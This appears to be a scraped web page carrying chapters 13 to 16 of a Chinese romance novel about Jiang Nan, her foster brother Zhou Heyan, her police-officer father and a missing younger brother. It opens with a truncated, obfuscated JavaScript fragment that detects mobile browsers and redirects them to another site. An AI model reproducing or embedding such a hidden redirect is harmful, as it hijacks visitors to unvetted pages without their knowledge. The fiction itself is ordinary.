d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191286|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”姜南没搭话。 她摁了切换键,突然不想听周杰伦的歌。 姜南不知道该怎么面对周赫言,刚才的这个插曲,像是一根刺一样扎到了她的神经,她感觉自己心里有什么东西在动摇。 沈威的出现,或许代表着什么。 * 送姜南到家,然后回网咖,已经是7点,本来想在外面吃饭的,可周赫言知道姜南心情不好,不会去的,他就没开口,一路上他都没太说话,连看都没敢看一眼。 他将车停在网咖门口,下车的时候发现副驾驶上有东西,拿过来一看,两瓶云南白药气雾剂。 他心头一暖,倒也不是因为姜南关心他,而是有一种找回了当初相处时舒适的感觉。 她虽然会责备他,可还是会在他受伤的时候,给他买药。 周赫言拎着袋子进网咖。 这个时间点,网咖乱成一锅粥,什么人都有。 穿着老头汗衫的中年大叔,夹着人字拖的高中生,甚至还有扎着双马尾的萝莉妹。 屋子里一股烟味,熏得人睁不开眼。 周赫言到前台,食指叩了叩台面,谷志航没抬头,声音闷着:“等会,排队等着。” 他又叩了两声,谷志航这才抬头,在烟雾缭绕的世界里看着眼前的男人,男人慵懒地掀起眼皮看他,眉眼弯弯,笑得放肆:“我来了。” 男人板寸头,两眼睛一大一小,乌青一块。 谷志航还没认出来:“后头排队。” 周赫言没了兴致:“谷志航,你缺心眼子,连我都不认识。” “你掉沟里了?”谷志航听这声才勉强认出眼前的人来。 他今天出来穿的衣服也不是这一套,况且出门的时候人是好好的,现在人是回来了,也没缺胳膊少腿的,可身上没一块好的地方,他似乎能瞧见他那硬实的腹肌上都伤痕累累的。 “被姜南打了?”谷志航笑,笑得不怀好意,就差扶着墙角笑得丢了魂:“还是被张秉文,你该不会对姜南做了什么,被他们混合双打了?” 周赫言也不生气,气息微动:“沈威。” “你和沈威打的?” “嗯。”周赫言点头。 谷志航从上瞥到下:“周赫言,你们两个人是真有病,高三打一架,现在又来,时间带走的是你们的年纪,是不是没给你们脑子也带回来,这不两二百五吗?” “姜南和你们两人谁有关系,是你女朋友,还是他女朋友,你们打架是为了什么,为了争夺备胎的名额?我真是搞不懂你们,这姜南有什么好的,一个个像被灌了迷魂汤一样,疯疯癫癫了这么多年,没完没了了。” “周赫言,你今天旷工,明天是不是又要请病假,休息两天,这个网咖就靠我一个人撑着,周赫言,我发现自从和姜南联系上后,你三天两头都有事,这个家,你是不是不想要了。” 周赫言斜眼睨他:“小谷,今天这一架打的值。” 谷志航听不懂:“你是被踹脑子,踢傻了,别闲着了,帮忙开机子去。” 周赫言瘸着腿,背影看上去都是高兴的。 14. 第十四章 知道周赫言要来,姜青山起了个大早,穿上烫得笔挺的Polo衫,还千载难逢地站在镜子前,给嘴巴周围打了一圈肥皂,起泡沫后就用刮胡刀去慢慢刮。 他左看右看,连刚冒出来的青茬都一并修理干净。 忙完后哼着小曲下了楼,骑上心爱的小摩托去菜场买菜,回家的路上又顺带去超市买了两瓶好酒。 楼下早练的大爷难得见姜青山如此精神焕发的模样,不免好奇问道:“你女儿对象要来?” 姜青山摇头:“我干儿子。” 大爷踩着平地扭扭车,愣了会神:“没听说你有干儿子。” “你没见过,之前在外地。” “干儿子来都喝上茅台了。”大爷打趣:“看来你这干儿子不是普通人。” 姜青山笑笑:“今天高兴。” 姜青山从车上往下卸东西,当了这么多年警察,长着一身腱子肉,往年跑三公里都不带喘的,果然是年纪大了,这两年又缺乏锻炼,现如今气喘又直冒虚汗,他抬手擦掉汗接着卸东西。 他呼哧呼哧往电梯里搬,没走两步,手上的袋子就被旁侧的人接了过去。 他回头看,是周赫言。 “姜叔,早。”小伙子一双眼睛清澈明亮,眼尾狭长,身材生得板正,他接过大袋小袋走得颇为轻松。 姜青山倒也没想到周赫言会来这么早,回过神来跟着上电梯,“不是让你中午来吃午饭,怎么来这么早。” “想着要来,昨晚就睡不踏实,索性早点过来,看看有什么能帮上忙的。” “你惯来喜欢熬夜,熬夜对身体不好,可不能仗着年轻,往后身体拖垮了,懊悔都没有法子,”姜青山言语里倒也没有责怪的意思,只是听到这话,脚步一滞,有感而发:“你一个人在文都,以后就把这儿当自己家,还和以前一样,高兴叫我声姜叔就行。” “我来得太勤快,就怕你的退休金兜不住。”周赫言嗓音清浅。 “就今天这一回,往后来就只有红星二锅头。” 说着话就到了八楼,电梯门一开,姜青山打眼一看,家门口堆了好几箱茅台酒,还有茶叶,人参虫草,各式各样的补品。 这些东西将本来就不宽敞的平台摆满了,他迈开脚挤过去,钥匙插进门锁,开了门。 “回趟家买这么多。”姜青山说:“几点来的,一趟一趟往上搬,累够呛。” “也就今天这一回,往后来两手空空,今天就当是投资入股。” 门一开,周赫言就往屋里搬,姜青山指了块客厅空出来的角落。 “你买什么来我都喜欢,两手空空来也开心。” 姜青山跟着一起搬,却被周赫言阻止,“哪有让寿星干活的道理。” 执拗不过,姜青山就去厨房倒了两杯水,害,孩子长大了,他也听劝,图个省力。 瘸着腿跟着跑来跑去,周赫言这孩子心思敏感,看在眼里,又该心疼。 他看着角落里逐渐庞大起来的物件,着实心疼,这堆玩意,得花不少钱,人买了送来,他又不能说什么。 儿女们买了东西,那是孝心,他欢天喜地的收下,儿女们高兴,他要是多嘴埋怨两句,只怕会伤了他们的心。 能开开心心的事情,何必搞得一团糟。 所以,每次姜南给他买东西,他也从来不嫌东西贵,东西没用处,女儿送了,自然是在有经济能力基础下,东西有没有用另说,摆在那看也是一种心境。 东西全部搬进来后,姜青山关上门,递瓶水过去,“你看你一头汗,我给你拿件衣服,你去冲个澡,换上。” 周赫言原本想要拒绝,可身上的衣服被汗水完全浸湿,黏在身上,感觉能拧出一滩水来,还有一股汗味,“好。” 姜青山从房间拿过来一件新的短袖,“姜南买的,太年轻了,我这个年纪穿上不伦不类的。” 周赫言想起在商场给姜青山挑衣服的时候,当时姜南非要买一件亮色系的夹克,她说姜青山就喜欢这样的。 周赫言没和她争辩,那件同款也买了一件藏青色的,在那一堆东西里。 提起姜南,周赫言往屋子里扫了一圈。 姜青山也看出他的意图,告诉他:“姜南不在,这个点早上班去了。” 这话算是给周赫言打了一针强心剂,他拿着短袖进浴室。 浴室门关上,隔着十几分钟,姜南的房门就打开了,她揉着眼睛出来,看见姜青山在厨房里忙来忙去,水哗啦啦流着在洗菜,她也没打招呼,直接开了浴室门,今天起这么早完全是被一泡尿憋醒的。 昨晚为了看《鬼吹灯》硬是足足喝了两杯咖啡,后来又点杯奶茶,喝完果然睡不着,折腾到四点多才睡。 今天起不来也情有可原,放假的日子不睡懒觉,简直白瞎。 门一开,周赫言站在那。 裸着上身,只穿了一条宽松大短裤,他正用毛巾擦头发,脖颈处、肩膀还有胸膛都流着水珠,那一颗颗水珠灵性般停在胸口处,雾蒙蒙的。 那个纹身,被水洗后,异常显眼。 就纹在那,好像与皮肤融为一体,它本来就该长在那一般。 周赫言拿起架子上的短袖套上,回头问:“姜叔说你去上班了?” “今天请了假,昨天忘了和他说,”姜南也知道自己唐突,视线下移瞥向别的地方,“你怎么来这么早。” “网咖没事。” 姜南:“……” 周赫言:“……” 两人在尴尬的浴室里,好像说什么都奇奇怪怪的,周赫言穿上裤子往门口走,路过姜南旁边时,她表情突然变得僵硬。 狭窄的过道里,两具一冷一热的身躯触碰到一起。 蜻蜓点水般,却也足以让周赫言呼吸急促。 周赫言不可控制着又想起那个夜晚,或许是情到深处,或许是酒精上头,他明显感觉到姜南的体温从温热变得滚烫。 她躺在怀里,白皙的脖颈透着淡紫色的血管,她的每一口呼吸都在他胸口处。 烫,感觉灵魂都被烫脱壳了。 后来,他倒是从滚烫变得没有温度,他就这样盯着姜南看,她睡着的时候像只温顺的猫。 不,刚才她是野猫。 她肆意地在他身上摸索。 野猫如今被磨了爪子,贴着墙壁,看他,“什么时候纹的?” 如此大胆的问题,她的眼神却不敢和周赫 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“这种特殊的生理气味,被生物学家称作信息素,而MHC基因是人体气味的来源,也就说明你们的基因特别般配。” “如果你闻到别人身上的体香,说明你接收到了这种信息素,也就说明你对这个人有好感,是基因帮忙选择了他。” 就像是那次遇见他,在张秉文的车上,她闻见周赫言身上的皂香味一样,就是一种说不清道不明的味道。 姜南觉得有些可笑,自己告诉自己必须要忘掉的人,在潜意识里却为他留满位置。 她匆忙刷牙洗脸出了浴室。 回到卧室换衣服,又简单化个妆才出来。 一出来就被客厅里的东西吓到了,明明她陪着在海天大厦只买了衣服,怎么到这就变成一堆。 姜南看了一圈,回头时,周赫言在身后,离得近,他身上的气味便变得更清晰,从鼻腔里直接上了头。 “那是给你的。” 周赫言指指红色的包装盒。 “什么?”姜南问。 她原本以为自己不期待的,可当他说送她的时候,她明显察觉到自己心跳的变化,那是骗不了人的。 周赫言递过来,“小物件。” 姜南打开,是块镶了钻的手表,表带是褐色牛皮的,它躺在那,指针转动着。 转来转去,又回到原点,却又不是原来的那个原地。 周赫言:“说了要送你的,久别重逢的礼物。” 姜南想起,他曾经也送过她一块手表,是做为高三毕业的礼物,一块现在看来极其廉价的手表。 它没有钻石,也没有这么昂贵的价格。 可它是独一无二的。 只是那块手表,被她重重扔在地上,留在了车祸现场。 表盘碎裂,飞溅起的玻璃碎片散落在周赫言身上。 姜南知道,当时周赫言不仅是被铁钉子划伤手臂,玻璃也同样擦进了他胸口的皮肤。 那个纹身上,还有一道伤疤。 她看见了。 15. 第十五章 周赫言盯她一眼:“不喜欢?” “没什么喜欢或是不喜欢的,只是没想到。”姜南收起烦躁的情绪,抬手将手表小心翼翼地放在客厅桌子上,又回头看周赫言。 前两天让工人换了全屋窗户,新窗户明亮,没有堆积灰尘,便在毫无遮掩下透进了外面毒辣的太阳光。 他的头发是纯粹的黑色,因为刚洗完澡,还沾着一点水珠的缘故,板寸显得整个人野味十足。 短袖布料上依稀残留着潮湿斑点,此刻也正随着他起伏的胸膛而上下浮动着。 他看向她的眸子在这一刻被光线照得偏浅,光影停留在身上,将轮廓勾勒分明,倒是没了那股子攻击性。 周赫言就是周赫言。 他不是张秉文。 姜南当初刚见到张秉文时,是很排斥他的,因为他的长相太像周赫言,像是成年了又变成熟后,她想象中的模样。 一身订制的特级西装,板正的面料,裁剪合身的样式,里头是一件白色衬衫,配了条挺括的黑色领带,衬得人愈发挺拔。 他神色冷峻,眉眼也是天生带着寒意,鼻梁上架着一副金边细框眼镜,浑身散发着矜贵气质。 张秉文给她倒了杯茶,语调慢条斯理,温润舒适:“姜小姐,你好,我是张秉文。” 姜南看着他,他似乎将那股强大气息压制住了,即便是表现得很温柔,可眸色里没有温色。 后来在一起相处久了,张秉文倒是给足姜南温柔,人前人后都是关怀呵护。 可姜南始终觉得张秉文这个人,像是无边无际大海上的一盏孤灯,平静的海面上,它是幽深静谧环境下的明亮,当被骇浪惊涛拍打着,它就立刻成了黑暗。 在一起四年,她还是猜不透张秉文,感觉他想表现出一个温文尔雅的男人,他就成为这样的人。 张秉文就是张秉文。 他也不是周赫言。 姜南感觉自己一眼就能看穿周赫言,可能是在一个屋檐下住了四年,彼此太过于熟悉,他的一个动作,一个表情,就能猜出意思。 他痞子般笑时就是开心,如果加上眉尾上挑就是尴尬,类似于现在,他嗓音低磁,笑笑:“喜欢就戴着,不喜欢就放家里摆着,女款的,你不要我也戴不了。” 姜南只当他是为了化解尴尬,努努嘴:“知道你送出去的礼物,没有收回去的习惯。” “除非我舍不得的东西。” “我可没什么送你。” “那两瓶云南白药就是礼物。” 姜南没接话,低头收拾桌子,刘海垂在脸上,她轻撩起藏入耳后又开始整理报纸。 她皮肤白,一点瑕疵也没有,就有颗若隐若现的眉心痣。 今天穿了条红色的连衣裙,倒是将清冷感撇远了,流露出勾人心魂的妩媚。 和上次顾晴婚礼上不一样,今天没有刻意打扮,只扎了个松松垮垮的丸子头,她本来就是漂亮的,像是只小狐狸,在森林里迷失,成精了,也是只涉世未深的狐狸精。 身上没有半点高中时候,扯着嗓门和他争辩,不赢就要死要活,撒泼打滚的模样。 虽然野蛮但也可爱。 周赫言看得入了神,直到听见哐当一声才回过神来,是空瓶掉进垃圾桶的声音。 厨房里的姜青山走出来:“南南,你怎么在家?” 姜南将报纸塞进筐里,“我说去酒店吃你不乐意,喊厨师来家里做也不行,你一个人做,哪来得及,做为你的宝贝女儿,我能不在家帮忙吗?再说哥回家,我总要表现出欢迎者的姿态,热烈欢迎他回家。” “哥”这个字眼,姜青山听在耳朵里,眼神一动,没多说,只自然说道:“你们还真是心有灵犀,都想着帮我干活,正好你起来了,下楼买两瓶生抽来,我做海鱼没料。” “我去。”周赫言说。 “让她去,小区你不熟悉。”姜青山说。 姜南的目光在姜青山脸上转了个圈,“爸,你果然是心疼哥。” 姜青山皱眉:“你别老是指挥小言干活,上学的时候买酱油哪次不是他替你去的,说好了一人一次,你总耍赖,现在快三十的人了,总不能还这样小孩子气。” 姜南有被内涵到,一时想起之前在筒子楼里的时光。 打水洗菜、淘米烧饭,包括后来姜青山警局事忙,她们轮流给姜宋洗澡,洗衣服,都是周赫言一手操办的。 她那个时候在干嘛。 她拎着一袋薯片,穿着拖鞋站在门口,她嘴里吃着薯片,还要指挥周赫言干活。 姜宋洗澡不老实会将水全部洒出来,周赫言衣服湿了一大半,白色的校服衬衫,湿了水几乎被看光,她就站那“嘎嘎笑”,也不知羞的。 姜宋也“嘎嘎笑”,周赫言也不生气,冷着脸可他还是高兴的,“姜南,你是不是流氓。” 姜南去玄关口换上平底鞋,“我马上就去。” 在电梯口等电梯时,周赫言也跟来了。 “姜叔说再买两包干辣椒。” “好。” 周赫言并没有返回,跟着进了电梯,电梯里有十八楼下来的邻居,一位美丽的俏阿姨。 “姜南,这是你男朋友?”俏阿姨将周赫言左看又看,从上到下,几乎要把人看穿,“怎么感觉变样了?上次来的时候明显成熟,戴副眼镜,像是霸道总裁,这次像是邻家哥哥的感觉,你们是在玩角色扮演?” 姜青山说蒋雯娟是个头脑简单的女人,爱看韩剧,总是想着遇见个霸道总裁爱上我的浪漫爱情剧,就这样沉浸在自我世界了,快五十岁还没有结过婚。 每天打扮得花枝招展的,穿着小短裙,踩着小高跟鞋,见人就热情地打招呼。 姜南还挺喜欢这个蒋阿姨的,打扮虽然夸张,可她长得漂亮,骨架又小,穿裙子并没有不得体,可能是因为心态比较年轻,面貌上看上去也不像五十几的样子,比实际年龄起码年轻十岁。 姜南和姜青山开过玩笑:“爸,你和蒋阿姨试着处一处,谈谈恋爱吧,我不介意她做我后妈的,我挺喜欢她的。要不然以后我结婚了,你一个人太孤独。” 姜青山连连摆手:“她不行,太闹腾,整家里来非得鸡犬不宁。” 姜 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很快,周赫言就调整过来,走在前头的姜南回头喊他:“哥。你还去不去?” 对呀。 他现在只是姜南哥哥。 周赫言走过去,走在跟前:“走吧。” 小区里并没有迈巴赫,也没有张秉文的影子,算是虚惊一场。 日头高照,热得不行。 姜南在小卖部买了两根冰棍,给了周赫言一根。 两人咬着冰棍往家走。 周赫言突然提起:“你还记不记得,上高中的时候,你老是爱吃冰棍,有一次,姜叔值晚班,你贪嘴连吃了四根,半夜肠胃炎发烧,上吐下泻的,差点昏倒。” “……记得。” 姜南鼓着嘴又说:“当时你背着我去打出租车,凌晨没车,你就把我送到警局,那时候也是夏天,送到警局后你就中暑晕倒了,我爸一个人把我们两个人送到医院,回来后我爸把我打了一顿,还扔掉了冰箱里所有的冰棍,不允许我再吃,也不给我钱买,那时候,你经常会在我不开心的时候偷偷给我买,不过一次只让我吃一根,我怎么求你,威胁你,你也只肯给我一根。” “你说那时候要是被姜叔发现了,会不会连带着我一起打。” “不会的,”姜南摆摆手,“现在我不开心的时候,他会主动给我拿冰棍,他说,以前我不开心的时候总是会偷偷吃冰棍,吃完就特别开心,好像冰棍有魔法,能带走我的不开心,我想,他应该早就知道了我们的秘密。” “原来姜叔早就知道,我还以为那几年自己藏得挺好的。”周赫言说。 “我爸不知道,我开心不是因为有冰棍吃,而是因为冰棍是你买的。” 话说完,姜南自己都怔了下,嘴里的冰棍被咬碎,化开,冻得腮帮子疼。 某个寒风刺骨的夜晚,她躲在屋子里吃冰棍,冰棍塞进嘴里,冻住了她的脑子。 她开始胡言乱语。 说了些什么,真话还是假话。 16. 第十六章 白酒顺着流下喉管,苦涩中带着温暖。 它盖住刚才冰棍那甜腻的奶油味,以及姜南说的那句“因为冰棍是你买的”,眼前的人,将情绪隐匿的干干净净,似乎那句话,也随着毒辣的日头,偏移了。 周赫言将杯子抬起,轻磕桌面,“姜叔,谢谢您。” “谢什么,是我应该谢谢你,愿意过来陪我过生日,我等这一天等了有多久,自己都不记得了,”姜青山说:“来我们三个喝一个,算是欢迎小言回家。” 姜青山给周赫言杯子里又倒满酒,回头给姜南杯子里添上少许,“小言,你还别说,今天可是头一回和你喝酒,以前总把你们当孩子,一转眼,你们都快成家立业了,仔细想想,这十年过得也挺快,没有想象中那么煎熬。” 杯壁相撞,发出轻脆的声音。 酒过三巡,三人酒逐渐上头。 周赫言喉结上下滚动:“姜叔,对不起。” 这声对不起包含太多,太沉重,他瞥下眼,声音都低下来:“当初我不应该不辞而别……” “过去的事情就让它过去。”姜青山摆手,打断话:“你呀,和南南性子太像,心都太善良,总是习惯把过错往自己身上揽,可总是这样想,人是会吃不消的,人的情绪是有限的,无限次的内耗,总有一天会崩盘。” 这话是说给周赫言听的,也是说给姜南听。 姜南明白,姜青山这是借着话在提醒她。 她低头将杯子里的酒喝光,冰爽的辣味滑进去,让她忍不住皱眉,心里也变得五味杂陈,这白酒确实苦涩。 她侧头看着周赫言:“这句对不起,应该是我的。周赫言,是我对不起你,这十年,欠你太多,从一开始,我就错了。” 周赫言拿着筷子的手顿了一下,姜南会这样说,无非是因为那年分开闹得很不愉快,而他是那件事情的受害者,可反过来想,她又何尝不是。 牢笼里困住的不光是他,还有她。 在那无限的愧疚中,他们都得不到解脱。 “你没错,一切都是我自己的选择,你做不了主的。” 周赫言劝她,唇边挂着笑:“我做这一切,就像是姜叔说的,我只是过不去心里的坎,无限期把自己困在这一片,不愿意往前走。” 姜青山见状,有些语气不善,说:“姜宋丢了,和你们两人没有任何关系,是我错。” 姜青山到如今,还是很纠结。 做为警察,他永远不后悔自己的决定,可做为一个父亲,他永远无法原谅自己。 事情的起因是因为有三个亡命徒持-枪偷窃了市里几家金店,还开-枪打死两个人。 三人作案,在现场抓住一个腿受伤的,至于其他两个,混在人群里逃离了。 等他想要抓同伙时,却被告知,对方挟持了姜宋。 这三个亡命徒早就做过调查,姜青山是队长,上过报纸,是荣获众多殊荣的人民警察,这场战役中必然有他的存在。 绑匪让姜青山带着人来交换他的儿子。 那个时候,姜宋才五岁不到,刚上幼儿园,视频里他浑身透着朝气,丝毫不胆怯,小小的眼睛里都是坚定信念。 姜青山假意答应换人,可却提前做好打算,想要将两人一网打尽,那时候他太年轻气盛,觉得自己完全可以两全齐美,万无一失,既把绑匪抓住,又救下儿子。 绑匪的车从山路一直往深山里开,姜青山开车去追,子-弹无意间打中后轮胎。 绑匪车速过快,一下子没控制住方向,整辆车掉下山去。 姜青山带人追到山下,山底只有一辆破碎的车,还有两个没了呼吸的男人,至于姜宋,人不在车上。 绑匪死了,死无对证,没有人知道姜宋究竟在哪里。 那一段时间,姜青山带人在那一片搜山,每个洞穴都翻了个底朝头。 没有。 活生生的一个人像是人间蒸发,没了踪迹。 夜深人静的时候,他有想过,这也许本来就是个死局,如果那时他放了人,绑匪也不会放过姜宋。 姜宋被抓,就是个死局。 他做为人民警察,是局的开始。 姜青山抬头喝光杯中的酒,面前的两个人早就喝醉倒在桌上,那么多个睡不着的夜里,他都是靠着酒来麻痹神经,姜南又怎么喝得过他。 他装醉,只是不想姜南喝太多。 酒伤人,尤其是醒过来时,胃里烧着疼,头也疼,整个人像是被打散架了。 姜青山把两人扛进房间,一个送去姜南卧室,一个去他房间,而他自己,躺在沙发上。 和以前在筒子楼里一样,姜南一个房间,周赫言和姜宋一个房间,他就睡在客厅的沙发里。 沙发是硬板的,睡一觉起来浑身不舒服,不过他也习惯,在警局经常凑合,遇上案子有可能整晚不睡。 后来,姜南和周赫言存钱给他买了张像床一样的沙发,可以折叠,柔软又舒适。 他躺在新沙发上的第一晚,就做了个好梦。 梦见姜南和周赫言长大成家,姜宋也当上警察。 当警察是姜宋的心愿,小小的年纪就爱偷偷戴他的警帽,他还会有模有样的敬礼,“爸爸,以后我也要当一名光荣的人民警察,和爸爸一样,为民除害,为国争光。” 如果姜宋没有离开,或许这一切都会实现。 酒劲逐渐上头,姜青山躺在沙发上,看着窗外的太阳。 今天是开心的一天,虽然姜宋没有回来,可周赫言回来了。 姜南和周赫言也逐渐把话说开,日子会一天一天变好的。 他也相信,总有一天,姜宋也会回来。 毕竟,姜南在找他,周赫言也要找他,包括他自己也在找。 “我们都会好好的。”姜青山笑笑说。 * 姜南醒来,已经晚上八点。 她是被张秉文的电话吵醒的,迷迷糊糊接通后,她翻个身,问道:“谁?” “南南。”对方说。 姜南酒醒了一大半,她听得出声音,是张秉文:“你回来了?” “我在门口。” 姜南一听脸都吓白了,她还没和张秉文说起过周赫言,万一开门让他看见,多尴尬。 姜青山生日,请了周赫言,却没有请他。 这话到哪里都说不过去,姜南一时半会 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姜南接过盒子,她清楚里面一定是首饰,打开一看,居然是块手表。 “你怎么会突然送我手表?”姜南诧异之余,更多得是好奇,张秉文这几年,送了许多首饰,可送手表还是第一次。 “觉得你缺块手表。”他话语平淡,又反问她:“不喜欢?” 一块镶钻的手表,比周赫言那块表盘更大,钻石更闪,不知道为什么,总觉得两块表很类似,从外观到内饰图案,都差别不大。 贵和更贵的区别。 “你从来没送过我手表。”姜南说。 张秉文:“以后每天都戴着它。” 不同于以往,姜南第一次在张秉文的口吻中听出清清冷冷的调。 她抬头,正好对上他的目光,他不在看手表,而是在看她,并不明媚的夜色下,他的眸底深处,毫无掩饰的占有欲。 姜南觉得自己酒还没有醒。 她收回视线,说:“好。” 只不过是戴块手表,他喜欢她就戴,就像是他送的那些珠宝,她总是会在见他的时候,特地戴上一两个在身上。 他看见她不戴会问,其他的也不会多说什么,从来没有像今天这样,规定她戴什么。 “还有……”张秉文从兜里掏出一根红绳,“前两天出差路过一个寺庙,他们都说求姻缘很灵验,我们下车进了寺庙,方丈给我两根红绳,这根给你,方丈说系脚踝上,爱人就不会跑。” 他的手凑过去,被冰凉的触感碰到,姜南整个人僵了一下,下意识从他手上接过红绳,想要自己系。 “我自己来。” 察觉到她的手要离开,张秉文立马握住。 他眉头一皱,再度开口:“姜南,你和我在一起是因为爱我,对吗?无关那场交易?” 空气一时静默。 姜南看着他,“你怎么了?” 她总觉得,今天的张秉文不一样,浑身散发着他不该有的模样,他是高傲的,不该像是现在这样。